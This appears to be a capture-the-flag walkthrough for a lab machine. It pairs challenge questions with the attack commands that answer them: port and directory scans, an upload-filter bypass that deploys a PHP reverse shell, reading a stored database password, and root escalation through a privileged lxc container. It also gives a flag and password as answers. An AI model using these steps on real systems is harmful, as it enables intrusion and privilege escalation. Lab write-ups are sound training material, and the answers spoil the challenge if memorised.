Video
Resources
Challenges
Scan the machine. What ports are open?
nmap -sC -sV -T5 -p1-65535 10.10.243.219
What's the title of the hidden website? It's worthwhile looking recursively at all websites on the box for this step.
gobuster dir -u http://10.10.243.219 -w /usr/share/dirb/wordlists/common.txt
gobuster dir -u http://10.10.243.219:65000 -w /usr/share/dirb/wordlists/common.txt -x php -t 50
What is the name of the hidden php page?
gobuster dir -u http://10.10.243.219:65000 -w /usr/share/dirb/wordlists/common.txt -x php -t 50
What is the name of the hidden directory where file uploads are saved?
Bypass the filters. Upload and execute a reverse shell.
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
mv php-reverse-shell.php image.jpeg.php
What is the value of the web.txt flag?
Upgrade and stabilize your shell.
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z
stty raw -echo; fg
cd /var/www/
cd TheGrid
cd includes
cat dbauth.php
Access the database and discover the encrypted credentials. What is the name of the database you find these in?
mysql -u tron -p
IFightForTheUsers
show databases;
use tron;
Crack the password. What is it?
Use su to login to the newly discovered user by exploiting password reuse.
What is the value of the user.txt flag?
THM{IDENTITY_DISC_RECOGNISED}
Check the user's groups. Which group can be leveraged to escalate privileges?
Abuse this group to escalate privileges to root.
lxc image list
lxc init Alpine strongbad -c security.privileged=true
lxc config device add strongbad trogdor disk source=/ path=/mnt/root recursive=true
lxc start strongbad
lxc exec strongbad /bin/sh
What is the value of the root.txt flag?
